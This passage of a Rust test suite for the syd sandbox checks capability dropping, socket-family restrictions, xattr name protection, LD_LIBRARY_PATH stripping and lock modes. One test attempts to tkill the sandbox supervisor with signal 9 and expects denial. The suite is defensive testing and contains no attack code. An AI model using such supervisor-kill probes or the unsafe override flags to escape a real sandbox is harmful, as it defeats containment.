        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_userns_drop_cap_net_raw_load_unsafe_caps() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_userns_drop_cap_net_raw_load_unsafe_socket() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_socket:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_userns_drop_cap_sys_time_load_default() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_userns_drop_cap_sys_time_load_unsafe_caps() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_userns_drop_cap_sys_time_load_unsafe_time() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_time:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_userns_drop_cap_syslog_load_default() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_userns_drop_cap_syslog_load_unsafe_caps() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_userns_drop_cap_syslog_load_unsafe_syslog() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_syslog:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Checks socket domain restrictions
fn test_syd_socket_domain_restrictions() -> TestResult {
    let allows = [
        (nix::libc::AF_UNIX, nix::libc::SOCK_DGRAM, 0),
        (nix::libc::AF_UNIX, nix::libc::SOCK_STREAM, 0),
        (nix::libc::AF_INET, nix::libc::SOCK_DGRAM, 0),
        (nix::libc::AF_INET, nix::libc::SOCK_STREAM, 0),
        (nix::libc::AF_INET6, nix::libc::SOCK_DGRAM, 0),
        (nix::libc::AF_INET6, nix::libc::SOCK_STREAM, 0),
    ];
    let denies = [
        // Do not add privileged sockets here.
        (
            nix::libc::AF_NETLINK,
            nix::libc::SOCK_DGRAM,
            nix::libc::NETLINK_GENERIC,
        ),
        (
            nix::libc::AF_NETLINK,
            nix::libc::SOCK_DGRAM,
            nix::libc::NETLINK_ROUTE,
        ),
    ];
    let kcapis = [(nix::libc::AF_ALG, nix::libc::SOCK_SEQPACKET, 0)];

    for (domain, ty, proto) in &allows {
        let status = syd()
            .p("off")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for (domain, ty, proto) in &denies {
        let status = syd()
            .p("off")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_code!(status, nix::libc::EAFNOSUPPORT);

        let status = syd()
            .p("off")
            .m("trace/allow_unsupp_socket:1")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for (domain, ty, proto) in &kcapis {
        let status = syd()
            .p("off")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_code!(status, nix::libc::EAFNOSUPPORT);

        let status = syd()
            .p("off")
            .m("trace/allow_safe_kcapi:1")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        // Careful, kernel may return EAFNOSUPPORT
        // if CONFIG_CRYPTO_USER_API is either not
        // enabled or compiled as a module and the
        // module is not yet loaded.
        assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

        let status = syd()
            .p("off")
            .m("trace/allow_unsupp_socket:1")
            .m("trace/allow_safe_kcapi:1")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        // Careful, kernel may return EAFNOSUPPORT
        // if CONFIG_CRYPTO_USER_API is either not
        // enabled or compiled as a module and the
        // module is not yet loaded.
        assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);
    }

    Ok(())
}

// Checks tkill restrictions.
fn test_syd_tkill_restrictions() -> TestResult {
    skip_unless_available!("sh");

    // tkill(sydpid) does not propagate to syd.
    let status = syd()
        .p("off")
        .do__("tkill")
        .argv(["sh", "-cx", &format!("{} ${{PPID}} 9", *SYD_DO)])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_get_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // We allow {get,list}attr but not {set,rm}attr!
    let status = syd()
        .m("allow/read,stat,write,exec+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -n user.ack.noent file && exit 1
getfattr -n user.ack.test file
getfattr -n user.syd.test file
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_get_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // We allow {get,list}attr but not {set,rm}attr!
    let status = syd()
        .m("allow/read,stat,write,exec+/***")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -n user.ack.noent file && exit 1
getfattr -n user.ack.test file
getfattr -n user.syd.test file
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_set_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // We allow {get,list}attr but not {set,rm}attr!
    let status = syd()
        .m("allow/read,stat,write,exec+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
setfattr -x user.ack.noent file && exit 1 || true
setfattr -x user.ack.test file
setfattr -x user.syd.test file && exit 3 || true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_set_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // We allow {get,list}attr but not {set,rm}attr!
    let status = syd()
        .m("allow/read,stat,write,exec+/***")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
setfattr -x user.ack.noent file && exit 1 || true
setfattr -x user.ack.test file
setfattr -x user.syd.test file
setfattr -n user.syd.test -v 7 file
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_lst_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // We allow {get,list}attr but not {set,rm}attr!
    let status = syd()
        .m("allow/read,stat,write,exec+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -d file | grep -q user.ack.test
getfattr -d file | grep -q user.syd.
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_lst_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // We allow {get,list}attr but not {set,rm}attr!
    let status = syd()
        .m("allow/read,stat,write,exec+/***")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -d file | grep -q user.ack.test
getfattr -d file | grep -q user.syd.
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks environment filtering
fn test_syd_environment_filter() -> TestResult {
    skip_unless_available!("sh");

    const ENV: &str = "SAFE";
    env::set_var(ENV, "/var/empty");

    // Step 1: Allow by default
    let output = syd()
        .p("off")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output1:{output}");

    // Step 2: Override with -evar=val
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}=/var/empty:/var/empty"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty:/var/empty", "output2:{output}");

    // Step 3: Unset with -evar
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output3:{output}");

    // Step 4: Pass-through with -evar=
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}="))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output4:{output}");

    env::remove_var(ENV);

    Ok(())
}

// Checks environment hardening and -e pass-through.
fn test_syd_environment_harden() -> TestResult {
    skip_unless_available!("sh");

    const ENV: &str = "LD_LIBRARY_PATH";
    env::set_var(ENV, "/var/empty");

    // Step 1: Deny by default
    let output = syd()
        .p("off")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output1:{output}");

    // Step 2: Override with -evar=val
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}=/var/empty:/var/empty"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty:/var/empty", "output2:{output}");

    // Step 3: Unset with -evar
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output3:{output}");

    // Step 4: Pass-through with -evar=
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}="))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output4:{output}");

    // Step 5: Allow with -m trace/allow_unsafe_env:1
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_env:1")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output:{output}");

    // Step 6: Toggle -m trace/allow_unsafe_env
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_env:1")
        .m("trace/allow_unsafe_env:0")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output1:{output}");

    env::remove_var(ENV);

    Ok(())
}

// Tests if `lock:on` command disables access to `/dev/syd`.
fn test_syd_lock() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["sh", "-cx", "test -c /dev/syd"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("+ sh -c \"test -c /dev/syd\"");
    let status = syd()
        .p("off")
        .m("lock:on")
        .argv(["sh", "-cex", "test -c /dev/syd"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `lock:exec` locks the sandbox for all except the exec child.
fn test_syd_lock_exec() -> TestResult {
    // Note, we use bash rather than sh,
    // because not all sh (e.g. busybox)
    // spawn a subsell on (cmd).
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex", "test -c /dev/syd"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex", "( test -c /dev/syd )"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `-mlock:on` prevents subsequent -m CLI args.
fn test_syd_lock_prevents_further_cli_args() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .p("off")
        .m("lock:on")
        .m("lock:off")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec:0")
        .m("lock:on")
        .m("lock:off")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .m("lock:on")
        .m("trace/allow_unsafe_exec:1")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .log("warn")
        .p("off")
        .m("lock:on")
        .p("paludis")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .log("warn")
        .p("off")
        .m("lock:on")
        .P("/dev/null")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `-mlock:on` prevents subsequent configuration file edits.
fn test_syd_lock_prevents_further_cfg_items() -> TestResult {
    skip_unless_available!("true");

    let conf = "lock:on\nlock:off\n";
